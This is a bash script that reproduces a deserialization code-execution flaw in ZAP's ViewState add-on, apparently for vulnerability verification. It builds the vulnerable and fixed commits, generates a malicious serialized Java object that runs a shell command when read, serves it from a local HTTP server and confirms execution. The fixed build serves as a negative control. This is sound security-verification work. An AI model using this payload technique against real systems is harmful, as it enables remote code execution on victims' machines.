#!/bin/bash
set -euo pipefail

###############################################################################
# CVE-2026-57527 - ZAP ViewState add-on insecure deserialization RCE
#
# This reproduction intentionally avoids the prior surrogate toggle harness.
# It builds the actual ZAP ViewState add-on from the vulnerable commit and from
# the fixed commit, loads each built .zap component on the Java class path, and
# drives the original add-on response-panel boundary:
#   ExtensionHttpPanelViewStateView$ResponseSplitBodyViewStateViewFactory
#     -> HttpPanelViewStateView
#     -> DefaultHttpPanelViewModel.setMessage(real HttpMessage)
#     -> HttpPanelViewStateView.dataChanged()
#     -> ViewStateModel.getData()
#     -> JSFViewState.decode()
#     -> ObjectInputStream.readObject()
#
# Attacker-controlled input crosses a real TCP boundary: a local malicious HTTP
# server returns a page containing javax.faces.ViewState. The harness reads that
# HTTP response from a socket and places the original bytes into ZAP's real
# HttpMessage object before selecting the real ViewState response panel.
###############################################################################

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$REPRO_DIR/artifacts"
SRC_DIR="$REPRO_DIR/src_product_path"
BUILD_DIR="$REPRO_DIR/build_product_path"
WORKTREES="$BUILD_DIR/worktrees"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS" "$SRC_DIR" "$BUILD_DIR" "$WORKTREES"

MASTER_LOG="$LOGS/reproduction_steps.log"
: > "$MASTER_LOG"
exec > >(tee -a "$MASTER_LOG") 2>&1

FIXED_COMMIT="ac6c3f94d38505bc0facea286a4d3728044c6e5c"
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
CONFIRMED=false
SCRIPT_STATUS="running"
NOTES="script started"

write_manifest() {
    local notes="$1"
    local confirmed_json=false
    if [ "$CONFIRMED" = true ]; then confirmed_json=true; fi
    local service_json=false
    if [ "$SERVICE_STARTED" = true ]; then service_json=true; fi
    local health_json=false
    if [ "$HEALTHCHECK_PASSED" = true ]; then health_json=true; fi
    local target_json=false
    if [ "$TARGET_PATH_REACHED" = true ]; then target_json=true; fi
    python3 - "$REPRO_DIR/runtime_manifest.json" "$notes" "$service_json" "$health_json" "$target_json" "$confirmed_json" <<'PY'
import json, sys
out, notes, service, health, target, confirmed = sys.argv[1:]
artifacts = [
    "logs/reproduction_steps.log",
    "logs/build_vuln.log",
    "logs/build_fixed.log",
    "logs/vuln_harness_1.log",
    "logs/vuln_harness_2.log",
    "logs/fixed_harness_1.log",
    "logs/fixed_harness_2.log",
    "logs/server_vuln_1.log",
    "logs/server_vuln_2.log",
    "logs/server_fixed_1.log",
    "logs/server_fixed_2.log",
    "repro/artifacts/product_path_harness.java",
    "repro/artifacts/payload.b64",
    "repro/artifacts/vuln_marker_1.txt",
    "repro/artifacts/vuln_marker_2.txt",
    "repro/artifacts/vuln_rce_output_1.txt",
    "repro/artifacts/vuln_rce_output_2.txt",
    "repro/artifacts/fix.patch",
    "repro/artifacts/source_identity.txt"
]
manifest = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "Malicious TCP HTTP peer returns javax.faces.ViewState; actual built ZAP ViewState add-on response panel processes a real HttpMessage from that TCP response",
  "service_started": service == "true",
  "healthcheck_passed": health == "true",
  "target_path_reached": target == "true",
  "runtime_stack": [
    "python3 malicious HTTP TCP server",
    "OpenJDK",
    "built ZAP ViewState add-on .zap",
    "ExtensionHttpPanelViewStateView.ResponseSplitBodyViewStateViewFactory",
    "HttpPanelViewStateView.dataChanged",
    "ViewStateModel.getData",
    "JSFViewState.decode",
    "ObjectInputStream.readObject"
  ],
  "proof_artifacts": artifacts,
  "notes": notes + ("; confirmed=" + confirmed)
}
with open(out, "w", encoding="utf-8") as f:
    json.dump(manifest, f, indent=2)
    f.write("\n")
PY
}

on_exit() {
    local rc="$1"
    if [ "$SCRIPT_STATUS" != "completed" ]; then
        NOTES="script exited before confirmation (rc=$rc): $NOTES"
        write_manifest "$NOTES"
    fi
}
trap 'on_exit $?' EXIT

fail_infra() {
    NOTES="$1"
    echo "[infra] $NOTES"
    write_manifest "$NOTES"
    exit 2
}

fail_repro() {
    NOTES="$1"
    echo "[not-reproduced] $NOTES"
    write_manifest "$NOTES"
    exit 1
}

cd "$ROOT"
echo "============================================================"
echo "CVE-2026-57527 - ZAP ViewState add-on product-path proof"
echo "============================================================"
echo "ROOT=$ROOT"
echo "Date: $(date -u)"

if ! command -v javac >/dev/null 2>&1; then
    echo "[setup] javac not found; installing OpenJDK 17"
    sudo apt-get update
    sudo apt-get install -y openjdk-17-jdk-headless
fi
echo "[setup] Java: $(java -version 2>&1 | head -1)"
echo "[setup] Javac: $(javac -version 2>&1)"

###############################################################################
# Locate or clone the repository using the prepared project cache if available.
###############################################################################
CACHE_CONTEXT="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CONTEXT" ]; then
    REPO=$(python3 - "$CACHE_CONTEXT" <<'PY' || true
import json, sys, os
try:
    data=json.load(open(sys.argv[1], encoding='utf-8'))
    if data.get('prepared') and data.get('project_cache_dir'):
        p=os.path.join(data['project_cache_dir'], 'repo')
        if os.path.isdir(os.path.join(p, '.git')):
            print(p)
except Exception:
    pass
PY
)
fi
if [ -z "$REPO" ]; then
    REPO="$ROOT/artifacts/zap-extensions"
    if [ ! -d "$REPO/.git" ]; then
        echo "[setup] No prepared repo found; cloning zap-extensions into stable fallback $REPO"
        mkdir -p "$(dirname "$REPO")"
        git clone https://github.com/zaproxy/zap-extensions.git "$REPO"
    fi
else
    echo "[setup] Using prepared cache repository: $REPO"
fi
[ -d "$REPO/.git" ] || fail_infra "repository is not available at $REPO"

# Ensure the fixed commit is available.
if ! git -C "$REPO" cat-file -e "$FIXED_COMMIT^{commit}" 2>/dev/null; then
    echo "[setup] Fetching fixed commit from origin"
    git -C "$REPO" fetch origin "$FIXED_COMMIT" --depth=200 || git -C "$REPO" fetch origin main --depth=500
fi
VULN_COMMIT=$(git -C "$REPO" rev-parse "${FIXED_COMMIT}^")
FIXED_RESOLVED=$(git -C "$REPO" rev-parse "$FIXED_COMMIT")
echo "[setup] Vulnerable commit (fixed parent): $VULN_COMMIT"
echo "[setup] Fixed commit:                    $FIXED_RESOLVED"

###############################################################################
# Prepare clean worktrees and verify the patch hunk before building.
###############################################################################
VULN_WT="$WORKTREES/vulnerable"
FIXED_WT="$WORKTREES/fixed"
for wt in "$VULN_WT" "$FIXED_WT"; do
    git -C "$REPO" worktree remove --force "$wt" >/dev/null 2>&1 || true
    rm -rf "$wt"
done
git -C "$REPO" worktree add --force "$VULN_WT" "$VULN_COMMIT"
git -C "$REPO" worktree add --force "$FIXED_WT" "$FIXED_RESOLVED"

echo "[verify] Vulnerable ViewStateModel JSF registration:"
git -C "$VULN_WT" grep -n 'viewstateParams.add(new ViewState(null, JSFViewState.KEY, "javax.faces.ViewState"));' -- addOns/viewstate/src/main/java/org/zaproxy/zap/extension/viewstate/ViewStateModel.java || fail_infra "vulnerable checkout does not contain active JSF registration"
echo "[verify] Fixed ViewStateModel JSF registration is disabled:"
git -C "$FIXED_WT" grep -n '// viewstateParams.add(new ViewState(null, JSFViewState.KEY, "javax.faces.ViewState"));' -- addOns/viewstate/src/main/java/org/zaproxy/zap/extension/viewstate/ViewStateModel.java || fail_infra "fixed checkout does not contain disabled JSF registration"
git -C "$REPO" diff "$VULN_COMMIT" "$FIXED_RESOLVED" -- addOns/viewstate > "$ARTIFACTS/fix.patch"

###############################################################################
# Build the actual add-on archives from the vulnerable and fixed worktrees.
###############################################################################
build_addon() {
    local wt="$1" role="$2" log="$3"
    echo "[build] Building actual ViewState add-on for $role from $(git -C "$wt" rev-parse HEAD)"
    : > "$log"
    "$wt/gradlew" --no-daemon -p "$wt" :addOns:viewstate:jarZapAddOn -x test --console=plain >> "$log" 2>&1 || {
        tail -80 "$log"
        fail_infra "Gradle build failed for $role; see ${log#$ROOT/}"
    }
    local zap
    zap=$(find "$wt/addOns/viewstate/build/zapAddOn/bin" -maxdepth 1 -type f -name 'viewstate*.zap' | head -1)
    [ -f "$zap" ] || fail_infra "built .zap not found for $role"
    echo "$zap"
}
VULN_ZAP=$(build_addon "$VULN_WT" "vulnerable" "$LOGS/build_vuln.log" | tail -1)
FIXED_ZAP=$(build_addon "$FIXED_WT" "fixed" "$LOGS/build_fixed.log" | tail -1)
echo "[build] Vulnerable add-on: $VULN_ZAP"
echo "[build] Fixed add-on:      $FIXED_ZAP"

cat > "$ARTIFACTS/source_identity.txt" <<EOF_ID
fixed_commit=$FIXED_RESOLVED
vulnerable_commit=$VULN_COMMIT
vulnerable_zap=$VULN_ZAP
fixed_zap=$FIXED_ZAP
vulnerable_zap_sha256=$(sha256sum "$VULN_ZAP" | awk '{print $1}')
fixed_zap_sha256=$(sha256sum "$FIXED_ZAP" | awk '{print $1}')
EOF_ID

###############################################################################
# Generate the malicious TCP server and product-path Java harness.
###############################################################################
cat > "$SRC_DIR/serve_payload.py" <<'PY'
#!/usr/bin/env python3
import argparse, http.server, socketserver, sys
parser = argparse.ArgumentParser()
parser.add_argument('--port', type=int, required=True)
parser.add_argument('--payload', required=True)
args = parser.parse_args()
payload = open(args.payload, encoding='utf-8').read().strip()
class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        body = ("<html><body><form id='f'>"
                "<input type='hidden' name='javax.faces.ViewState' value='" + payload + "'/>"
                "</form></body></html>").encode('utf-8')
        self.send_response(200)
        self.send_header('Content-Type', 'text/html; charset=utf-8')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)
        print(f"served malicious javax.faces.ViewState response to {self.client_address}", flush=True)
    def log_message(self, fmt, *args):
        print("server-log: " + (fmt % args), flush=True)
class ReuseTCPServer(socketserver.TCPServer):
    allow_reuse_address = True
with ReuseTCPServer(("127.0.0.1", args.port), Handler) as httpd:
    print(f"malicious TCP HTTP server listening on 127.0.0.1:{args.port}", flush=True)
    httpd.serve_forever()
PY
chmod +x "$SRC_DIR/serve_payload.py"

cat > "$SRC_DIR/EvilPayload.java" <<'JAVA'
import java.io.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;

public class EvilPayload implements Serializable {
    private static final long serialVersionUID = 57527L;
    private String markerPath;
    private String outputPath;

    public EvilPayload(String markerPath, String outputPath) {
        this.markerPath = markerPath;
        this.outputPath = outputPath;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        String command = "id > '" + outputPath.replace("'", "'\\''") + "'; echo RCE_VIA_ZAP_VIEWSTATE_PRODUCT_PATH >> '" + outputPath.replace("'", "'\\''") + "'";
        Process p = new ProcessBuilder("/bin/sh", "-c", command).redirectErrorStream(true).start();
        String processOutput;
        try {
            byte[] bytes = p.getInputStream().readAllBytes();
            int exit = p.waitFor();
            processOutput = "process_exit=" + exit + "\n" + new String(bytes, StandardCharsets.UTF_8);
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            processOutput = "interrupted=" + e + "\n";
        }
        StringBuilder sb = new StringBuilder();
        sb.append("DESERIALIZATION_RCE_CONFIRMED\n");
        sb.append("command=").append(command).append('\n');
        sb.append(processOutput).append('\n');
        sb.append("runtime_stacktrace_begin\n");
        for (StackTraceElement ste : Thread.currentThread().getStackTrace()) {
            sb.append("  at ").append(ste).append('\n');
        }
        sb.append("runtime_stacktrace_end\n");
        Files.writeString(Paths.get(markerPath), sb.toString(), StandardCharsets.UTF_8);
    }
}
JAVA

cat > "$SRC_DIR/GenPayload.java" <<'JAVA'
import java.io.*;
import java.util.Base64;

public class GenPayload {
    public static void main(String[] args) throws Exception {
        if (args.length != 3) throw new IllegalArgumentException("usage: GenPayload <marker> <rce-output> <payload-b64-out>");
        EvilPayload payload = new EvilPayload(args[0], args[1]);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(payload);
        }
        try (Writer w = new OutputStreamWriter(new FileOutputStream(args[2]), java.nio.charset.StandardCharsets.UTF_8)) {
            w.write(Base64.getEncoder().encodeToString(bos.toByteArray()));
            w.write("\n");
        }
        System.out.println("payload_bytes=" + bos.size());
    }
}
JAVA

cat > "$SRC_DIR/ProductPathHarness.java" <<'JAVA'
import java.io.*;
import java.lang.reflect.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.*;
import javax.swing.JFormattedTextField;

import org.parosproxy.paros.Constant;
import org.parosproxy.paros.network.HttpMessage;
import org.zaproxy.zap.extension.httppanel.view.HttpPanelView;
import org.zaproxy.zap.extension.httppanel.view.HttpPanelViewModel;
import org.zaproxy.zap.utils.I18N;

public class ProductPathHarness {
    private static String readHttpResponse(String host, int port, String logPrefix) throws Exception {
        try (Socket s = new Socket()) {
            s.connect(new InetSocketAddress(host, port), 5000);
            s.setSoTimeout(5000);
            OutputStream out = s.getOutputStream();
            out.write(("GET /malicious-viewstate HTTP/1.1\r\nHost: " + host + ":" + port + "\r\nConnection: close\r\n\r\n").getBytes(StandardCharsets.ISO_8859_1));
            out.flush();
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] buf = new byte[4096];
            int n;
            InputStream in = s.getInputStream();
            while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
            String response = bos.toString(StandardCharsets.ISO_8859_1);
            System.out.println(logPrefix + " tcp_response_bytes=" + bos.size());
            return response;
        }
    }

    private static String[] splitResponse(String raw) {
        int idx = raw.indexOf("\r\n\r\n");
        int sepLen = 4;
        if (idx < 0) { idx = raw.indexOf("\n\n"); sepLen = 2; }
        if (idx < 0) throw new IllegalArgumentException("HTTP response missing header/body separator");
        return new String[] { raw.substring(0, idx + sepLen), raw.substring(idx + sepLen) };
    }

    private static void initialiseZapMessages() {
        Constant.messages = new I18N(Locale.ENGLISH);
        try {
            ResourceBundle rb = ResourceBundle.getBundle("org.zaproxy.zap.extension.viewstate.resources.Messages", Locale.ENGLISH);
            Constant.messages.addMessageBundle("viewstate", rb);
        } catch (Exception e) {
            System.out.println("message_bundle_warning=" + e);
        }
    }

    @SuppressWarnings("unchecked")
    private static void logViewStateParams(Object model) throws Exception {
        Field f = model.getClass().getDeclaredField("viewstateParams");
        f.setAccessible(true);
        java.util.List<Object> params = (java.util.List<Object>) f.get(model);
        System.out.println("ViewStateModel.loaded_from=" + model.getClass().getProtectionDomain().getCodeSource().getLocation());
        System.out.println("ViewStateModel.param_count=" + params.size());
        boolean hasJsf = false;
        for (Object p : params) {
            Method getName = p.getClass().getMethod("getName");
            Method getType = p.getClass().getMethod("getType");
            String name = String.valueOf(getName.invoke(p));
            String type = String.valueOf(getType.invoke(p));
            System.out.println("ViewStateModel.param name=" + name + " type=" + type);
            if ("javax.faces.ViewState".equalsIgnoreCase(name)) hasJsf = true;
        }
        System.out.println("ViewStateModel.has_jsf_registration=" + hasJsf);
    }

    public static void main(String[] args) throws Exception {
        if (args.length != 5) {
            throw new IllegalArgumentException("usage: ProductPathHarness <role> <attempt> <port> <marker> <rce-output>");
        }
        String role = args[0];
        String attempt = args[1];
        int port = Integer.parseInt(args[2]);
        Path marker = Paths.get(args[3]);
        Path rceOut = Paths.get(args[4]);
        Files.deleteIfExists(marker);
        Files.deleteIfExists(rceOut);
        initialiseZapMessages();

        String raw = readHttpResponse("127.0.0.1", port, "[" + role + "-" + attempt + "]");
        String[] parts = splitResponse(raw);
        String header = parts[0];
        String body = parts[1];
        System.out.println("[" + role + "-" + attempt + "] response_body_contains_jsf=" + body.contains("javax.faces.ViewState"));

        HttpMessage msg = new HttpMessage();
        msg.setRequestHeader("GET /malicious-viewstate HTTP/1.1\r\nHost: 127.0.0.1:" + port + "\r\n\r\n");
        msg.setResponseHeader(header);
        msg.setResponseBody(body);
        msg.setResponseFromTargetHost(true);
        System.out.println("[" + role + "-" + attempt + "] real_HttpMessage_response_body_length=" + msg.getResponseBody().length());

        Class<?> factoryClass = Class.forName("org.zaproxy.zap.extension.viewstate.ExtensionHttpPanelViewStateView$ResponseSplitBodyViewStateViewFactory");
        Constructor<?> cons = factoryClass.getDeclaredConstructor();
        cons.setAccessible(true);
        Object factory = cons.newInstance();
        Method getNewView = factoryClass.getDeclaredMethod("getNewView");
        getNewView.setAccessible(true);
        Object viewObj = getNewView.invoke(factory);
        HttpPanelView view = (HttpPanelView) viewObj;
        System.out.println("[" + role + "-" + attempt + "] factory=" + factoryClass.getName());
        System.out.println("[" + role + "-" + attempt + "] view=" + viewObj.getClass().getName());
        System.out.println("[" + role + "-" + attempt + "] view_loaded_from=" + viewObj.getClass().getProtectionDomain().getCodeSource().getLocation());

        // The real UI path expects this field to have been initialised by getPane().
        // In headless product-component execution, initialise only the Swing field,
        // then let the original view/model listener path process the HttpMessage.
        Field vsInfo = viewObj.getClass().getDeclaredField("vsInfoTxt");
        vsInfo.setAccessible(true);
        vsInfo.set(viewObj, new JFormattedTextField());

        HttpPanelViewModel model = view.getModel();
        System.out.println("[" + role + "-" + attempt + "] model=" + model.getClass().getName());
        logViewStateParams(model);

        System.out.println("[" + role + "-" + attempt + "] invoking real HttpPanelViewModel.setMessage(HttpMessage)");
        model.setMessage(msg);
        boolean markerExists = Files.exists(marker);
        boolean rceExists = Files.exists(rceOut);
        System.out.println("[" + role + "-" + attempt + "] marker_exists=" + markerExists);
        System.out.println("[" + role + "-" + attempt + "] rce_output_exists=" + rceExists);
        if (markerExists) {
            System.out.println("[" + role + "-" + attempt + "] marker_content_begin");
            System.out.print(Files.readString(marker, StandardCharsets.UTF_8));
            System.out.println("[" + role + "-" + attempt + "] marker_content_end");
        }
        if (rceExists) {
            System.out.println("[" + role + "-" + attempt + "] rce_output_begin");
            System.out.print(Files.readString(rceOut, StandardCharsets.UTF_8));
            System.out.println("[" + role + "-" + attempt + "] rce_output_end");
        }
    }
}
JAVA
cp "$SRC_DIR/ProductPathHarness.java" "$ARTIFACTS/product_path_harness.java"

###############################################################################
# Compile harness and generate per-attempt payloads.
###############################################################################
GRADLE_JARS_FILE="$BUILD_DIR/gradle_jars.txt"
find "${HOME}/.gradle/caches/modules-2/files-2.1" -type f -name '*.jar' | sort > "$GRADLE_JARS_FILE" || true
[ -s "$GRADLE_JARS_FILE" ] || fail_infra "Gradle dependency jars not found after add-on build"
ALL_GRADLE_JARS=$(paste -sd: "$GRADLE_JARS_FILE")
HARNESS_CLASSES="$BUILD_DIR/harness_classes"
rm -rf "$HARNESS_CLASSES"
mkdir -p "$HARNESS_CLASSES"
COMPILE_CP="$VULN_ZAP:$ALL_GRADLE_JARS"
echo "[compile] Compiling ProductPathHarness against built ZAP component and ZAP core jars"
javac -cp "$COMPILE_CP" -d "$HARNESS_CLASSES" "$SRC_DIR/EvilPayload.java" "$SRC_DIR/GenPayload.java" "$SRC_DIR/ProductPathHarness.java"

wait_for_port() {
    local port="$1"
    python3 - "$port" <<'PY'
import socket, sys, time
port=int(sys.argv[1])
for _ in range(80):
    s=socket.socket()
    try:
        s.settimeout(0.15)
        s.connect(('127.0.0.1', port))
        s.close()
        sys.exit(0)
    except OSError:
        s.close()
        time.sleep(0.1)
sys.exit(1)
PY
}

run_attempt() {
    local role="$1" attempt="$2" zap="$3" port="$4"
    local server_log="$LOGS/server_${role}_${attempt}.log"
    local harness_log="$LOGS/${role}_harness_${attempt}.log"
    local marker="$ARTIFACTS/${role}_marker_${attempt}.txt"
    local rce_out="$ARTIFACTS/${role}_rce_output_${attempt}.txt"
    local payload="$ARTIFACTS/payload_${role}_${attempt}.b64"
    rm -f "$marker" "$rce_out" "$payload" "$server_log" "$harness_log"
    java -cp "$HARNESS_CLASSES" GenPayload "$marker" "$rce_out" "$payload" | tee -a "$MASTER_LOG"
    cp "$payload" "$ARTIFACTS/payload.b64"

    echo "[$role-$attempt] Starting malicious TCP server on port $port"
    python3 "$SRC_DIR/serve_payload.py" --port "$port" --payload "$payload" > "$server_log" 2>&1 &
    local server_pid=$!
    SERVICE_STARTED=true
    if ! wait_for_port "$port"; then
        kill "$server_pid" >/dev/null 2>&1 || true
        fail_infra "malicious TCP server did not listen on port $port"
    fi
    HEALTHCHECK_PASSED=true

    local run_cp="$HARNESS_CLASSES:$zap:$ALL_GRADLE_JARS"
    set +e
    timeout 30s java -Djava.awt.headless=true -cp "$run_cp" ProductPathHarness "$role" "$attempt" "$port" "$marker" "$rce_out" > "$harness_log" 2>&1
    local rc=$?
    set -e
    kill "$server_pid" >/dev/null 2>&1 || true
    wait "$server_pid" >/dev/null 2>&1 || true
    cat "$server_log"
    cat "$harness_log"
    if [ "$rc" -ne 0 ]; then
        echo "[$role-$attempt] harness_exit=$rc"
    else
        echo "[$role-$attempt] harness_exit=0"
    fi
    return "$rc"
}

###############################################################################
# Execute two vulnerable attempts and two fixed negative controls.
###############################################################################
echo ""
echo "=== Running vulnerable product-component attempts ==="
VULN_OK=0
for i in 1 2; do
    port=$((18100 + i))
    run_attempt "vuln" "$i" "$VULN_ZAP" "$port" || fail_repro "vulnerable harness attempt $i failed"
    if grep -q 'DESERIALIZATION_RCE_CONFIRMED' "$ARTIFACTS/vuln_marker_${i}.txt" \
       && grep -q 'RCE_VIA_ZAP_VIEWSTATE_PRODUCT_PATH' "$ARTIFACTS/vuln_rce_output_${i}.txt" \
       && grep -q 'ViewStateModel.has_jsf_registration=true' "$LOGS/vuln_harness_${i}.log" \
       && grep -q 'org.zaproxy.zap.extension.viewstate.zap.utils.JSFViewState.decode' "$ARTIFACTS/vuln_marker_${i}.txt" \
       && grep -q 'org.zaproxy.zap.extension.viewstate.ViewStateModel.getData' "$ARTIFACTS/vuln_marker_${i}.txt"; then
        echo "[vuln-$i] PASS: RCE marker and original ViewStateModel -> JSFViewState.decode stack observed"
        VULN_OK=$((VULN_OK + 1))
        TARGET_PATH_REACHED=true
    else
        fail_repro "vulnerable attempt $i did not show RCE through original ViewStateModel/JSFViewState stack"
    fi
done

echo ""
echo "=== Running fixed product-component negative controls ==="
FIXED_OK=0
for i in 1 2; do
    port=$((18200 + i))
    run_attempt "fixed" "$i" "$FIXED_ZAP" "$port" || fail_repro "fixed harness attempt $i failed unexpectedly"
    if grep -q 'ViewStateModel.has_jsf_registration=false' "$LOGS/fixed_harness_${i}.log" \
       && grep -q 'marker_exists=false' "$LOGS/fixed_harness_${i}.log" \
       && [ ! -f "$ARTIFACTS/fixed_marker_${i}.txt" ] \
       && [ ! -f "$ARTIFACTS/fixed_rce_output_${i}.txt" ]; then
        echo "[fixed-$i] PASS: fixed built add-on processes the response with JSF registration absent; no deserialization marker"
        FIXED_OK=$((FIXED_OK + 1))
    else
        fail_repro "fixed attempt $i produced marker/RCE or did not show JSF registration absent"
    fi
done

if [ "$VULN_OK" -eq 2 ] && [ "$FIXED_OK" -eq 2 ]; then
    CONFIRMED=true
    SCRIPT_STATUS="completed"
    NOTES="confirmed: actual vulnerable .zap response panel path deserializes attacker ViewState from TCP response and executes command; actual fixed .zap lacks JSF registration and blocks the same response"
    echo ""
    echo "============================================================"
    echo "VERDICT: VULNERABILITY CONFIRMED"
    echo "============================================================"
    echo "Vulnerable attempts with RCE through original path: $VULN_OK/2"
    echo "Fixed negative controls without RCE:               $FIXED_OK/2"
    write_manifest "$NOTES"
    echo "[manifest] runtime_manifest.json written"
else
    fail_repro "unexpected attempt counts: vulnerable=$VULN_OK fixed=$FIXED_OK"
fi

# Best-effort proof-carry for future runs when enabled by context.
if [ -f "$CACHE_CONTEXT" ]; then
    python3 - "$CACHE_CONTEXT" "$REPO" "$REPRO_DIR" "$LOGS" <<'PY' || true
import json, os, shutil, sys
ctx_path, repo, repro, logs = sys.argv[1:]
try:
    ctx=json.load(open(ctx_path, encoding='utf-8'))
    pc=ctx.get('proof_carry') or {}
    if not pc.get('enabled'):
        sys.exit(0)
    base=os.path.join(ctx.get('project_cache_dir') or os.path.dirname(repo), '.pruva', 'proof-carry')
    for slot in ('latest_attempt','latest_confirmed'):
        dst=os.path.join(base, slot)
        os.makedirs(dst, exist_ok=True)
        for src in [os.path.join(repro,'reproduction_steps.sh'), os.path.join(repro,'runtime_manifest.json'), os.path.join(logs,'reproduction_steps.log')]:
            if os.path.exists(src): shutil.copy2(src, dst)
except Exception:
    pass
PY
fi

exit 0
